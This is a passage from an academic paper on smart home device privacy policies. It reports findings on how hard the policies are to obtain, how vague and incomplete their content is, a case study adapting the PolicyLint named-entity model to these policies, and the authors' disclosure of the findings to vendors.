monitors, and smart air conditioners, also released 3 different
privacy policies, none of which apply to devices. Several of
these 225 vendors are high-impact, i.e., 43/225 are labeled
as Amazon’s Choice and 10/225 labeled as Best Seller (Fig-
ure 2), and together have 232,901 Google Play Installs and
700 Amazon Ratings on average (Figure 3). This finding in-
dicates that device privacy policies are not widely available,
preventing both their access by consumers, as well as analy-
sis by researchers. As CCPA (in Section 999.308 [21]) and
GDPR (in Article 13, 14 [34,35] mandate the disclosure of all
categories of data collected to the consumers, these vendors
are potentially in violation.

Finding 3: Not Found on Website – Only 64.38% of ven-
dors that released a device privacy policy made it avail-
able from their website (F3) – In the absence of a central-
ized source of device privacy policies, users and researchers
would be likely to look for them on the one common interface
that most vendors provide: their website. However, as shown
in Table 1, only 188/292 (64.38%) device privacy policies
were obtained from vendor websites, whereas the remaining
35.62% (104/292) were found from other sources. While
this shows that the majority of the vendors are making their
device privacy policy more accessible, we find that users may
have to jump through multiple hops to simply obtain device
privacy policy. For instance, we encountered 41 instances,
where we did not obtain the privacy policy in the website
but found it after a Google Search. There could be several
reasons for this, e.g., the privacy policy could be hidden in
different subpage or shown only on the registration page. We
also noticed 4 instances, where policies were obtained from
a separate (i.e., parent company) domain (e.g., Allegion [4]
hosts for Schlage [5]). Several of these 104 vendors are high-
impact, as shown in Figures 2 and 3. This finding indicates
that the current distribution of smart home privacy policies is
severely fragmented and as a result, an automated approach
that only obtains policies from websites would fail to obtain
35.62% of the policies.

Finding 4: Difficult to Obtain – Device privacy policies
can be difficult to obtain (F4) – In 42/292 (14.38%) cases,
we needed to execute the vendor’s companion app to view

(1) Vendor Website 
(honeywell.com)

(2) Google Search Vendor website #2
(honeywellhome.com)
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Figure 4: Obtaining Honeywell’s device privacy policy.

the device privacy policy. These vendors are high impact,
with 4,791,917 Google Play Installs and 2,805 Amazon Rat-
ings on average (Figure 3), and with 9/42 labeled Amazon’s
Choice and 1 Best Seller (Figure 2). In many cases, it took
significant labor to locate the device privacy policy due to
several confounding factors, as exemplified by the convoluted
path taken to obtain Honeywell’s policy, as shown in Figure 4,
and described below:

Honeywell’s website and Google search results led us to
two different website privacy policies that did not cover de-
vices. Further, searching on Google Play led us to three top
apps, of which the barcode scanner was eliminated as ir-
relevant. Interestingly, the other two apps are published by
“Resideo Technologies”, which is a third-party vendor that
has licensed the Honeywell brand name, which may not be
apparent to users. We were met with HTTP 404 errors on at-
tempting to access the privacy policy links accompanying the
Google Play listings of both apps [48] [47].

Upon executing the apps, as our last resort, we discovered
that the Honeywell Home app required registration to display
the privacy policy. The fact that we were required to disclose
PII (e.g., email, name for registration) before finding the de-
vice privacy policy is concerning from a privacy standpoint
and against the general spirit of privacy policies. We finally ob-
tained the device privacy policy for Honeywell’s smart home
devices upon executing the Total Connect Comfort app. When
we revisited Resideo’s website privacy policy [72], at the very
bottom of the page, we found a link to the CCPA “Supplemen-
tary Privacy Statement”. Clicking on this link downloaded a
Microsoft Word document that discussed sensor data.

We learn two lessons from this experience: (1) As Figure 4
illustrates, the distribution of device privacy policies is convo-
luted, involving complicating factors such as unknown vendor
relationships, broken links, account registration requirements,
and unwarranted document downloads (i.e., users may not
expect or want to download a Word doc, simply to view a
policy), and, (2) The convoluted distribution, diversity of ar-
tifacts involved, and the complex combination of analyses
required may pose challenges for automated privacy policy
extraction. Finally, in contrast to this example, we found that
several popular vendors do make their device privacy policies
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easily available on their websites (e.g., Scout Alarm [80]).

Finding 5: No Policy on Website – 26.84% of the ven-
dors do not make their website privacy policies easily avail-
able (F5) – We observed that 26.84% (160/596) of vendors
did not post privacy policy links on their homepage, marked
with “Privacy” or other similar phrases, which may violate
certain regulations (e.g., CCPA [21]). As shown in Figures 2
and 3, several of these vendors have high impact.

5 Policy Content Analysis (RQ2)
The goal of our content analysis is to understand both (1)
the semantics of the content, i.e., what information is being
disclosed and (2) the structural composition, i.e., how it is
being presented in the policy. In this section, we identify
properties of smart home (device) privacy policies that are
vital for understanding these aspects, codify them into labels,
and use the labels to annotate the content of the policies.

5.1 Methodology
We perform a systematic analysis of the 284/292 device pri-
vacy policies identified in Section 4, excluding 8 policies out
of 42 cases where we executed the mobile apps to manually
obtain privacy policies (as discussed in F4), as the apps pre-
vented us from retrieving the policy text (e.g., by copying or
taking screenshots), and because the policies were unavailable
in the static content/apk resources. We first identify properties
vital for understanding the semantics and structural composi-
tion of the policies, and codify them as labels, and then, label
the 284 smart home device privacy policies, and analyze the
results to identify semantic and syntactic intricacies.

Label Definition: We define a set of labels with the goal
of sufficiently identifying domain-specific privacy contexts
in smart home device privacy policies. For this, we initially
explored the use of labels created for other domains (e.g.,
mobile apps [7, 98]), however, they did not disclose physical
privacy context specific to smart homes (e.g., indoor privacy
is perceived differently to outdoors). Privacy regulations also
do not yield labels with sufficient granularity to accommo-
date our goal to study physical aspects. Thus, we founded the
labels based on our knowledge of regulations (e.g., CCPA,
GDPR) and prior work on privacy policies, while comple-
menting them with domain-specific enhancements necessary
to disclose gaps in device privacy policies, leaning towards
precision in the spirit of good disclosure.

To elaborate, we define two unique granularities of la-
bels: (1) document labels that apply as a property of the
entire policy; and (2) content labels that apply to specific
text fragments. To instantiate these labels, we began by ana-
lyzing the CCPA [56] and GDPR [70] regulatory documents
to identify any requirements that may impact privacy poli-
cies. For example, both CCPA (in Section 999.308 [21]) and
GDPR (in Article 13, 14 [34, 35]) mention that businesses
should disclose a list of categories of personal information
collected and shared, categories of third-parties to whom the

data is shared, and the purpose of collection/sharing to the
consumers. Based on this requirement, we define a content
label for annotating text that refers to data collection practices
(i.e., collection, sharing, and collect_purpose/share_purpose).
Moreover, this requirement also inspired document_labels
that denote the specificity of the device data types mentioned
in the data collection practices (collection_granularity and
share_source_granularity), which speak to the precision at
which the privacy policy discusses the categories of personal
information. For example, a policy that collects “usage data
from sensors” will have collection_granularity set to broad
while another that collects “audio data” will have collec-
tion_granularity set to attribute, to allow characterization
of vendors that sell devices with multiple sensors, which
may pose separate privacy costs/risks. Similarly, we include
the document label share_source_granularity that describes
the precision at which shared data is discussed and the label
share_destination_granularity that captures with whom the
personal data is shared. Lastly, we include document labels
(such as contains_children_privacy, contains_data_retention,
and contains_storage/transfer) motivated by their separate
discussions in the regulations. For example, Recital 38 [36]
along with various other articles in GDPR discusses special
protection for children, whereas Section 1798.120(c) [56] in
CCPA discusses disclosure practices regarding minors.

As CCPA and GDPR documents generally outline only
what information needs to be disclosed, but not how it must
be disclosed, we expand our analysis via an initial exploratory
pass over a subset of policies (consisting of 18 policies). For
example, we identified the two primary document formats
(a) monolithic, which present all information in a single free-
flowing body of text, and (b) sectioned, which break apart
components of the policy content into disparate sections that
cover different topics (e.g., sharing, collection). Hence, we
define a label to capture this property (i.e., contains_section).
Similarly, we observed that some policies display their collec-
tion/sharing practices in a table rather than plaintext (hence
the label contains_table).

Our approach results in 24 labels that are motivated by
our goal of evaluating disclosure practices in the specific
context of the smart home, in the spirit of good disclosure
(see Table 3 in Appendix B for the full list). These labels
enable a contextualized analysis of privacy policies in the
smart home domain, hence motivating future improvement
and standardization of privacy disclosures for the smart home.

Labeling Privacy Policies: For this task, we take a multi-pass
approach to improve the ease of the annotation task while re-
ducing risks of errors. First, we begin by segmenting the
policies (when possible) into up to 11 sections (i.e. preamble,
collection, sharing, purpose/use, data retention, storage/trans-
fer, children, contact, cookies, and extra). The goal behind
this step is to ease the process behind our deeper annotation
session and reduce sources of imprecision. Second, we anno-
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Figure 5: Amazon’s Choice and Best Seller metrics for Content
Analysis findings.
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Figure 6: Amazon Ratings and App Installs for Content findings.

tate each document with document label annotations, such as
whether it contains a table, summary, or sections. Third, we
perform a deep and systematic analysis of the content by read-
ing through the privacy policies using the section/segment
guides. To ensure a complete analysis, we read through the
entire policy, including seemingly irrelevant sections.

Two authors independently labeled the 284 privacy policies.
We obtained an average Cohen’s Kappa score of 0.95, denot-
ing high inter-coder agreement over all labels. The Kappa
score for each label are reported separately in Table 3 in Ap-
pendix B to highlight the relative disagreements for each label
for increased reproducibility [90]. The two coders resolved
disagreements through discussion.

5.2 Content Analysis Findings (F6–F12)
Based on our analysis of the structure, we found that 276/284
(i.e., 97.18%) privacy policies are split into different sections
describing collection, purpose of collection, and sharing prac-
tices. 279/284 (i.e., 98.23%) contained mixed content, dis-
cussing website or mobile apps along with smart home prod-
ucts (e.g., Arlo [9]). Further, 275/284 (i.e., 96.83%) provide
a preamble that briefly explains what the policy covers. We
also found that 20/284 (i.e., 7.0%) include a table describing
the privacy practices for different categories of data.

Our content analysis led to 7 findings, with considerable
impact (illustrated in Figures 5 and 6). Note that two findings
(F7 and F12) are positive, i.e., where the vendors followed best

practices, and hence are excluded from the impact analysis.

Finding 6: Broad Terms – 26.05% of the policies de-
scribe collection using broad terms rather than discussing
specific device types or device data (F6) – We found that
91/284 (32.04%) of vendors use broad terminology (e.g.,
“service usage information,” or “sensor information”) to refer
to smart home device data when describing their collection
practices. As we discuss later (F16), further analysis revealed
that 17 were actually described precisely given the fact that
the associated vendor only sold a single device, reducing the
number to 74/284 (26.05%) generic policies. Considering
that smart home vendors advertise 3 different device types
on average as found later in Section 6.2, this broad terminol-
ogy may not sufficiently describe the privacy practices of a
vendor in the context of the individual devices they sell. For
instance, Electrolux [27] sells smart home appliances, such as
refrigerators and laundry machines, and their privacy policy
explicitly mentions that the policy applies to the use of their
“Smart Appliance.” However, Electrolux’s policy contains the
following coarse statement that covers all devices but does
not provide any useful information: “...Electrolux will collect
information about your use of the Smart Appliance and the
App.”. Such vague descriptions of device data collection may
not be in compliance of CCPA [21], given that CCPA requires
the disclosure of all applicable categories of data (CCPA Sec-
tion 1798.110 [18]), and sensor data may fall under several
different categories currently not represented in the aforemen-
tioned privacy policies, such as biometric information and
audio/visual information (CCPA Section 1798.140, subdivi-
sion (o) [19]). Further, as regulations evolve to recognize
precise types of smart home data, such vague policies will fall
further out of compliance. In contrast, several vendors make
device-specific data and its collection explicit in their policies;
e.g., Wyze [91] and NetAtmo [63] both discuss individual
devices (e.g., indoor cameras, doorbells, and security alarms).

Finding 7: Device Data – 70.42% of device privacy
policies specify collection at the granularity of device
data (F7) – We found that 183/284 (64.43%) policies men-
tion some device data when describing collection, which in-
creased to 70.42% (200/284) after including the 17 that were
precise given that the vendor only sold one device (see F6 and
F16). For example, Wyze [92] thoroughly describes the data
collected by its sensors as “device event data” (e.g., when it is
turned ON/OFF) as well as “additional data” (e.g., heart rate
by the weight scales), as shown in Figure 10 in Appendix A.

Finding 8: Incorrectly Reason – Existing state-of-the-
art privacy policy analysis tools may incorrectly reason
about (196/284) 69.01% of smart home device privacy
policies due to structural and semantic challenges (F8) –
58/284 policies present content in one or more ways that
existing analysis tools [7, 8, 43, 81, 99] cannot reason about
due to their lack of consideration of the context of surround-
ing statements or their reliance on unstructured natural lan-
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guage text. Particularly, 25/58 have locale-specific sections
such for California residents and EU Citizens (e.g., Fitbit),
25/58 provide an external link to regulation-specific notices
(e.g., Samsung SmartThings), and 20/58 display their col-
lection/sharing practices using tables. Further, we found that
tools like PolicyLint [7] cannot reason about device data at-
tributes when policies describe data at attribute-granularity.
For example, PolicyLint only identifies two policy statements
that used device attributes (i.e., containing “device event in-
formation” and “video”), which is a negligible subset of the
total number of such statements in our labeled dataset, as it
contains over 183 policies that describe attributes. We study
PolicyLint’s effectiveness at recognizing smart home data
types without insight into our smart home dataset through a
case study of Named Entity Recognition (NER) in Section 7.

Finding 9: No Collect – 8 vendors explicitly state that
they do not collect any information in their privacy pol-
icy (F9) – We found that 8 vendors that sell various devices
or provide smart home services explicitly state that they do
not collect data from users within their privacy policy, e.g.,
Nuheat [64], which sells thermostat and floor heating systems.
However, NuHeat has a mobile application on Google Play
and also advertises integration with Alexa, IFTTT, and Google
Assistant, which may indicates data transmission to support
remote access or third-party integration via REST API calls.
It is certainly also possible that the vendor does not store any
information, but simply forwards the request to integrated plat-
forms (e.g., IFTTT), and hence may not consider this practice
as data “collection”. However, this understanding may not
be consistent with the broad formal definition of “collection”
adopted by regulations such as the CCPA (subdivision (e),
Section 1798.140 [19]) that may consider such forwarding
as within scope. Finally, this finding motivates the need to
precisely understand what constitutes data collection, and for
researchers to investigate the privacy practices of vendors that
deny collection but enable network-based services.

Finding 10: Share PII – 186/284 or 65.49% of device
privacy policies only discuss sharing practices broadly
for “PII” or “personal data”, without explicitly includ-
ing or excluding device data (F10) – We found that vendors
do not precisely discuss what they share, and often only dis-
close that they share ‘PIIs’ without explicitly mentioning
whether that includes any device data or other precise cate-
gories of personal data (e.g., geolocation). Several highly
popular vendors display such characteristics, as seen in Fig-
ures 5 and 6. If these vendors share device data even for
a “business purpose” (subdivision (a), Section 1798.115 of
CCPA [17]) as opposed to selling, but simply do not describe
it categorically, then they may be in violation of the CCPA re-
quirement that stipulates that vendors should include sharing
information for all categories (e.g., biometric, geolocation,
audio/visual) of personal information disclosed to the third-
parties in the past 12 months [21], which implicitly includes

data from devices (e.g., cameras, doorbells), given CCPA’s
broad definition of what constitutes as personal information
(subdivision (o), Section 1798.140 [19]). In contrast, several
popular vendors precisely describe the specific device data
that they share, such as Ecobee [26], which describes how
it shares data regarding electricity use to enable its partners
and utility vendors to make intelligent decisions regarding
electricity production and conservation. Finally, we note that
certain vendors may provide sharing information regarding
device data in a disparate set of non legally binding resources
that may not be immediately evident or accessible, as we
describe using Ring’s example in Appendix D.

Finding 11: Share Device Data – 24.64% of device pri-
vacy policies discuss sharing device data with varying
degrees of precision, but generally do not specify with
whom the data is shared (F11) – We found that 70/284
(24.64%) vendor policies explicitly provide information per-
taining to sharing of device data, which indicates that smart
home device data is indeed being shared by a significant
minority of vendors. Of these, however, only 35/70 (50%)
discuss device data at the precise attribute level, while the
remaining discuss all device data together (i.e., under the term
“usage”). Moreover, only 24/70, i.e., 34.28%, explicitly dis-
cuss the destination of data, i.e., name at least one third-party
partner they share data with. Most of these 70 vendors are
highly popular, as shown in Figures 5 and Figure 6. In con-
trast, emerging vendors such as Foobot [32] provide lists of
vendors and platforms (e.g., Alexa, IFTTT, Google Home)
that they share device data with.

Finding 12: No Share – Only 2.1% of vendors do not
discuss sharing data and only 3.87% state that they do not
share data (F12) – The 6/284 (2.11%) policies that do not
discuss sharing at all may either be due to the vendors actually
not sharing any data or a poorly written policy. These vendors
sold a variety of privacy-sensitive smart home devices, such
as security cameras, video doorbells, and door locks. Of the
11/284 (3.87%) vendors that explicitly state that they do not
share, 9 stated they do not share with third-parties, whereas the
remaining 2 stated that they did not share data for marketing
and promotional purposes, which is a positive deviation from
the general trend observed in our analysis.

6 Policy Coverage Analysis (RQ3)
To comprehensively address privacy concerns, policies must
not only discuss the collection of device data at attribute
granularity, but also explicitly describe collection practices
for all devices sold by the vendor. We propose a methodology
to empirically evaluate such coverage (RQ3) in the 284 device
privacy policies obtained in Section 5.

6.1 Methodology
The ideal approach to determine coverage would be to derive
the ground truth about data transmission from the network
traces for each device sold by a vendor, and contrasting this
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ground truth with the claims in the policy. However, deriving
such ground truth experimentally would be prohibitive in
terms of device costs, and the manual effort of interacting
with 1000s of smart home devices represented by our 284
vendor policies. Indeed, prior work has demonstrated that
while one can scale up the network analysis of IoT devices to
obtain coarse information (e.g., the destination servers) [49,
71], uncovering the extent of actual data transmission is hard
to scale, even for a handful of devices [62].

Therefore, for a scalable analysis, we propose a data-driven
approach that approximates coverage by using out-of-band
information about the devices sold by vendors. That is, we de-
fine a coarse but effective test: A vendor’s policy is complete
if it describes the data related to all the devices that they sell.
This test allows us to identify gaps in the policy, in terms of
both (1) missing devices, and (2) missing device attributes. To
enable this test, we first construct a vendor-device_type map.

Constructing the Vendor-Device_Type Map: We construct
the vendor-device_type map in two steps: First, for each of the
284 vendors with device privacy policies, we manually obtain
a list of devices-types (e.g., camera, doorbell) that they sell/ad-
vertise, by manually analyzing their websites (e.g., from sec-
tions labeled “Products” or “Devices”). Second, we map each
device-type to a specific set of minimal device attributes asso-
ciated with it (e.g., “camera recording (audio/video)” for the
security camera), using device-attribute mappings provided
under the Open Connectivity Foundation (OCF) standard [66]
(used by Iotivity [51]) and by prior work [58].

Evaluating Privacy Policy Coverage: For each policy, we
obtain every device-type sold by that vendor from the vendor-
device_type map, and for each device, check for the presence
of the minimal attributes in the privacy policy (e.g., lock sta-
tus for the door lock). If the policy includes all the minimal
device attributes necessary (i.e., even if imprecisely or indi-
rectly), we consider it as complete. For example, we marked
as complete several policies that only specify the collection of
“audio/video” data in general, without specifying the device
associated with it (e.g., indoor camera, doorbell, baby moni-
tor). This permissive check allows us to obtain a conservative
estimate of policies that have incomplete coverage.

6.2 Coverage Analysis Findings (F13–F16)
We identified a total of 130 device types when constructing
the vendor-device map for our list of 284 vendors. Each ven-
dor was associated with 3 device types on average with 110
vendors selling only one type. We performed an in-depth cov-
erage analysis of 200/284 policies, i.e., barring 8 policies that
explicitly stated that they do not collect any data (F9), 2 that
did not discuss data collection, and 74 that were classified
as using broad terms to describe data collection (F6). Our
analysis of policy coverage led to 4 findings with considerable
impact (Figures 7 and 8). Note that F14 is exempted from the
impact analysis as it is not statistical.

Findings from Policy Coverage Analysis
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Finding 13: Incomplete Coverage – 50/200 (25%) of
the privacy policies that precisely discuss device data
are incomplete, i.e., only discuss a subset of their avail-
able devices (F13) – We found 50 instances of incomplete
policies when we semi-automatically compared the vendor-
device_type map against the devices advertised by the ven-
dors. Figure 9 shows the top 10 (out of 46) device data
types that were missing from these vendor policies, of which
several produce privacy-sensitive device data (e.g., cameras,
motion sensors). For example, Owlet’s [68] privacy policy
was classified as discussing data collection at attribute gran-
ularity in Section 5, as they state that they collect heart rate
information through their smart sock. However, Owlet also
sells baby monitors (as indicated in our vendor-device_type
map), but their policy does not provide information regarding
the collection of attributes associated with this type (e.g., au-
dio/video). Owlet’s policy is representative of most policies
with incomplete coverage, where vendors completely miss
out on discussion of certain devices they sell. In contrast,
we found instances of policies that exhaustively discussed
each products they sell (e.g., Netatmo [63] describes all of its
device types including camera).

Finding 14: Privacy Implication – Vendors do not dif-
ferentiate their privacy disclosures for devices that pro-
duce similar data but have vastly different privacy impli-
cations (F14) – We analyzed 26 vendors that sold devices
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Figure 9: Top 10 device types omitted in privacy policies.

with different privacy implication (e.g., baby monitor and
video doorbell) and found that 23 policies provided a generic
description for the collection of audio/video data from devices.
For example, Arlo [9] sells various devices that collect video
data (e.g., video doorbells and baby monitors), but provides
a common description, i.e., merely states that Arlo collects
and stores video data. However, video from baby monitors
may be far more privacy-sensitive than video from the video
doorbell from the user’s perspective, given that the former
is recorded within the private confines of the home. Hence,
users may not want Arlo to store video from a baby moni-
tor even if they agree with long-term cloud storage for the
video doorbell. Treating all video data similarly may make
the privacy sensitivity of certain devices ambiguous to users.

Finding 15: Irrelevant Data – 29 vendors describe the
collection of device data precisely, but discuss irrelevant
data due to remnants from templates (F15) – Several ven-
dors provide data collection statements that contain unrelated
data attributes. For example, GeoSmartPro [37] only sells
smart fans, yet it discusses the collection of height, weight,
body fat mass index, BMI from fitness trackers and images
and videos from smart cameras. In our content analysis in
Section 5, we originally marked this example as evidence of
collection at attribute level. However, when cross-verifying
the statement with our vendor-device_type map, we found that
8/29 cases contained statements describing device data that
could not be associated with the vendor and contained struc-
turally similar components and similar text, and hence, were
potentially remnants from unmodified templates. The use
of blanket statements from templates has also been observed
previously in mobile app policies [7]. However, remnants in
the policies can also simply mean that vendors were in the
process of updating their policies or products. F15 exemplifies
the ambiguity with which data collection is described in smart
home privacy policies, which would not only make it difficult
for users to understand policies, but would also complicate
automated analysis (e.g., leading to a false positive in terms
of data collection precision).

Finding 16: Broad Statements – Broad statements used
to describe device data collection may not always denote
insufficient precision or incompleteness (F16) – We dis-
covered 17 cases where the privacy policies were initially

classified as “broad” due to how they described data collec-
tion (in F6), but were precise given the actual devices they
represent. For example, Milight [61], which only states that
“online status” is collected, was classified as broad. However,
our vendor-device_type map revealed that Milight (and 16
others) represented only one device-type, and were hence pre-
cise with respect to it; e.g., Milight only sells light bulbs, for
which the minimal attribute is indeed “online status”. Dis-
cussing this minimal attribute makes Milight’s policy precise,
as well as complete in terms of coverage, since that is the
only attribute that needs to be discussed. This finding high-
lights the need to integrate out-of-band contextual information
(e.g., vendor-device mapping) to disambiguate statements and
enable an accurate analysis.

7 The Need for (and Path To) Contextualizing
Policy Analyses for the Smart Home

This study uncovers several challenges and characteristics
of smart home privacy policies that are sufficiently differ-
ent from mobile or Web policies, whether in terms of their
acquisition, content, or coverage, which may make direct ap-
plication of existing tools difficult. For instance, as discussed
in F8, we confirm that PolicyLint [7] cannot reason about
smart home device data. Similarly, we ran Polisis [43] on
our dataset of 284 device privacy policies, and as expected,
Polisis could not reason about device data, and device data
attributes such as “motion” were classified in the “Others”
category (see Figure 11 in Appendix A for Polisis’s results on
the SmartThings privacy policy). Thus, we argue that smart
home device privacy policies are a separate application do-
main from an analysis perspective, and one would need to
contextualize existing techniques to effectively analyze them.

In this section, we first test the validity of this argument
with a case study, i.e., by evaluating the effects of smart home-
specific contextualization on the task that directly impacts an
analysis tool’s ability to detect relevant data types: Named
Entity Recognition (NER). We then discuss how the data,
insights, and observations generated through this study may
be leveraged for enabling such contextualized policy analysis
frameworks for the smart home in the future.

7.1 Case Study: PolicyLint
We select PolicyLint [7], a state-of-the-art open source pri-
vacy policy analyzer (also used in PoliCheck [8]), and test
the performance of its NER model on smart home device
privacy policies, under two contrasting conditions: (a) using
PolicyLint’s NER model as is, and (b) by augmenting the
NER model with the smart home context, i.e., training it with
annotated sentences from smart home device policies.

Methodology: We created a smart home-specific NER dataset
by annotating 600 policy statements from our dataset of 284
smart home privacy policies, using the annotation methodol-
ogy as laid out by PolicyLint for creating training and test
sets (see Appendix C). We shuffled this annotated dataset
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Table 2: NER Performance of the spaCy, PolicyLint, Poli-
cyLintHome models on the SmartHomeTest dataset

Metrics spaCy (baseline) PolicyLint PolicyLintHome
Overall NER Performance

Precision 25.25 57.49 76.60
Recall 5.70 69.17 76.25
F1-Score 9.31 62.79 76.43

Recognition of Data Objects
Precision - 65.68 75.29
Recall - 71.77 76.20
F1-Score - 68.59 75.75

Recognition of Entities
Precision 38.33 62.77 79.39
Recall 14.46 71.06 82.38
F1-Score 21.00 66.66 80.86

and used 500 statements for training (the SmartHomeTrain
dataset) and 100 for testing (the SmartHomeTest dataset).

PolicyLint extends the spaCy NER model [86] by training
it on an annotated mobile privacy policy sentences. We ob-
tained this extended model from the authors, which we simply
term as PolicyLint. We also obtained the stock spaCy model
(i.e., en_core_web_lg [86]) to use as the baseline. Finally,
we created a new model contextualized to the smart home,
PolicyLintHome, by training it on the original PolicyLint anno-
tations as well as the SmartHomeTrain dataset. All 3 models
were tested on the SmartHomeTest dataset.

Results: Table 2 shows the performance of the 3 NER models
on the SmartHomeTest dataset, including the overall perfor-
mance and that over data objects and entities separately. We
observe that in all cases, the PolicyLint model fares better
than the baseline, but not nearly as well as the contextualized
PolicyLintHome model, leading to our next finding:

Finding 17: Contextualization – The smart home sig-
nifies another application domain for policy analy-
sis, and contextualized models fare much better than
general-purpose models, or models trained on other do-
mains. (F17) – The additional smart home context allows
the PolicyLintHome model to obtain 19.11% higher precision
(i.e., 76.6 vs 57.49), 7.08% higher recall (76.25 vs 69.17),
and 13.64 higher F-1 score (76.43 vs 62.79) in comparison
to the PolicyLint model, which clearly demonstrates the ben-
efit of contextualization, at least for the task of NER, which
has direct bearing on whether the model recognizes device
data. Our adapted model recognizes several entities (e.g., “Fit-
ness Tracker” and “Smart Camera”), and data objects (e.g.,
“heating system status”, “connectivity status”) that were not
detected by the PolicyLint model, or classified as “Other” by
Polisis. This impact is purely because of the additional smart
home context provided by the integration of the SmartHome-
Training dataset, and not any changes to the model itself. The
effects of adaptation to the smart home domain are evident
here, just as the effects of adaptation to the mobile domain
were evident in PolicyLint [7] as it demonstrated similar per-
formance (i.e., 75−80% F-1 score) when tested with mobile
app privacy policies for which it is adapted.

7.2 Enabling Policy Analysis Frameworks for
the Smart Home

While augmenting PolicyLint’s NER model allowed us to
improve its performance for smart home policies, our analysis
reveals key challenges for enabling an end-to-end automated
analysis of smart home privacy policies. This section dis-
cusses three such challenges, and how the artifacts, data, and
lessons from this study may be leveraged by future research.

1. Acquiring and Identifying Smart Home Device Policies:
Our study demonstrates that device privacy policies are not
easily available for analysis due to a fragmented delivery sys-
tem (F2, F3). To this end, our methodology in Section 4.1 lays
the groundwork required for developing new integrated tech-
niques to locate device privacy policies. Moreover, analysis
frameworks also need to be able to identify the relevant device
privacy policies, from a heterogeneous collection consisting
of Web and mobile policies. Our dataset of smart home device
policies enables future classifiers that effectively differentiates
between device and other privacy policies.

2. Accurately Analyzing Device Data: Future research may
build/adapt frameworks that consider contexts in which de-
vice data may be used, even beyond our experimentation with
PolicyLint, by using our labeled dataset of 284 smart home de-
vice privacy policies with 7,494 labels (e.g., by analyzing the
device data usage context in collection/sharing statements).
Further, our labeled dataset may also be used to test/evalu-
ate the performance of models built to analyze smart home
privacy policies (e.g., as in our analysis in Section 7).

3. Incorporating out-of-band context: We found that con-
tent analysis of device privacy policies is not effective in
a vacuum, i.e., without using additional out-of-band infor-
mation such as vendor-device relationships collected from
external sources (Section 6). This insight motivates the need
to gracefully incorporate such information into automated
analysis for enhancing accuracy (e.g., detecting missing (F13)
or irrelevant (F15) devices) and precision (e.g., avoiding false
positives resulting from single-device policies in F16).

8 Vendor Disclosure

We manually informed our findings to 506 vendors, out of
which we contacted 471 vendors via email between November
4 - 11, 2021, and 26 through contact forms on December 29,
2021. Note that we informed 9 vendors explicitly mentioned
in this paper on June, 2020. We excluded 57 cases, where we
could not contact the vendors because of reasons such as site
or contact address being inaccessible, or when submission of
contact form required product info (e.g., Zooz [84]). Listing
1 in Appendix shows the template of an email.

In total, we received 113 responses as of Jan 2022, after
excluding 25 emails that were not delivered. The majority of
responses i.e., 71/113 were automated replies that acknowl-
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edged the receipt of the message, without any further follow-
up messages. In 6 responses, vendors informed us that they
were in the process of addressing the issues identified, such
as creating or revising their privacy policies. Additionally,
9 vendors directed us to their updated privacy policies. For
example, when we sought clarification related to sharing prac-
tices as discussed in F10 and F11, EufyLife [82] provided
instructions to obtain updated privacy policy from the app,
which now discusses categories of information shared in the
CCPA section. Moreover, 15 vendors clarified their data han-
dling practices via email or provided additional information
elaborating on their privacy practices, such as privacy FAQs,
and in some cases, expressed the intention to include the said
information in their privacy policies. For example, when we
sought clarification regarding their data sharing practices and
disclosure (F10), Starlinghome [83] explained that none of
their devices collect usage data from smart home devices, but
they are open to including additional details in their privacy
policies to clarify as such. On the contrary, 11 vendors sim-
ply pointed us to their privacy policies without any changes,
which we confirmed did not address any of the issues discov-
ered in our study. For instance, 5 vendors who were informed
about the unavailability of privacy policies applying to their
smart home products (i.e., the device policy described in our
study) (F2) responded with either the website or mobile app
privacy policies, which did not contain any information on
their treatment of device data. Finally, of the 43 vendors that
had no privacy policy (F1), none responded to our disclosure,
indicating the need for meaningful enforcement.

9 Discussion
Smart home technology is in its its incipient stages, and hence,
there is opportunity for improving it from the standpoint of en-
abling privacy guarantees for user data. Our study highlights
significant inconsistencies in smart home privacy policies,
further motivating key improvements in how we standardize
and regulate privacy disclosure, as we discuss in this section.

1. Bolstering informed consent through standardized dis-
tribution of policies: Our accessibility analysis highlights the
user burden in effectively evaluating the privacy repercussions
of IoT devices (F1–F4), to the extent of having to download
and execute multiple companion apps to simply obtain device
privacy policies. Our findings demonstrate the need for ex-
plicit distribution guidelines for smart home vendors such that
consumers can make an informed choice based on the privacy
practices of smart home devices prior to device purchase.

2. Strengthening transparency by improving precision
and completeness: Our findings motivate the need to im-
prove precision and completeness at which device data is
discussed in smart home privacy policies, encouraging better
disclosure practices for this domain. We find that vendors
may not describe device data at all (F2), or may provide an
imprecise (F6, F10), or incomplete (F13) description. Consid-

ering the privacy-sensitive nature of smart home domain, this
further prompts vendors to improve transparency regarding
their data handling practices. Furthermore, applying a carpet
policy for a data type (e.g., video feeds) may be insufficient,
no matter how precise the policy is, given that a data type may
apply to devices with disparate privacy implications (F14).
Considering the privacy sensitive nature of the smart home
domain, consumers might also benefit if regulations are sup-
plemented to require description of physical/digital contexts
within which a data type is expected to be used.

3. Facilitating automated policy analysis via tool-enabled
standards and practices: Our study motivates the need for
the effective standardization of privacy policies, so that au-
tomated tools can be developed to reduce cost and effort for
both vendors and consumers. We recognize that numerous
external factors may lead to imprecise privacy policies despite
vendors’ intention to be transparent about their privacy prac-
tices. For example, small businesses may have little incentive
or human resources to continually update their privacy poli-
cies as per the regulatory requirements and changing company
processes. Our findings describe a spectrum of vendors rang-
ing from those that do not provide any policies (F1) to those
that discuss privacy practices for each of their devices (e.g.,
Wyze [92]). While stringent regulation is helpful, effective
governance is challenging given the fragmented and heteroge-
neous nature of IoT ecosystem. Hence, clear standardization
of privacy policies (e.g., a machine-readable standard) that is
amenable to automated tools may be an effective approach for
enforcing best-practices, and enabling consumers as well as
researchers to automatically discover gaps in privacy policies.

4. Privacy Policy Enforcement: This work analyzes smart
home privacy policies, i.e., “what vendors claim”, which is
complementary (but orthogonal) to an analysis of the pri-
vacy practices of vendors, i.e., of “what vendors actually do”.
The former requires an analysis of disclosure practices, as
this paper does, while the latter requires a thorough analy-
sis of several avenues for exfiltration, including smart home
apps, the network, and cloud presence. In the latter area, prior
work has developed systems that detect private data leaks by
analyzing IoT apps (e.g., IoTWatch [10], SAINT [22]), or
network traffic (e.g., Ren et al. [71], as we later discuss in
Section 11. Our work complements such analysis of vendor
app/network behavior by providing additional context to it in
the form of disclosure practices, i.e., prior work leverage the
data and findings of this study to validate legally binding col-
lection/sharing claims in privacy disclosures. This is a natural
future direction for privacy analysis in the smart home, as has
been done in other domains (e.g., PoliCheck [8] builds upon
PolicyLint [7] to validate app behavior in conjunction with
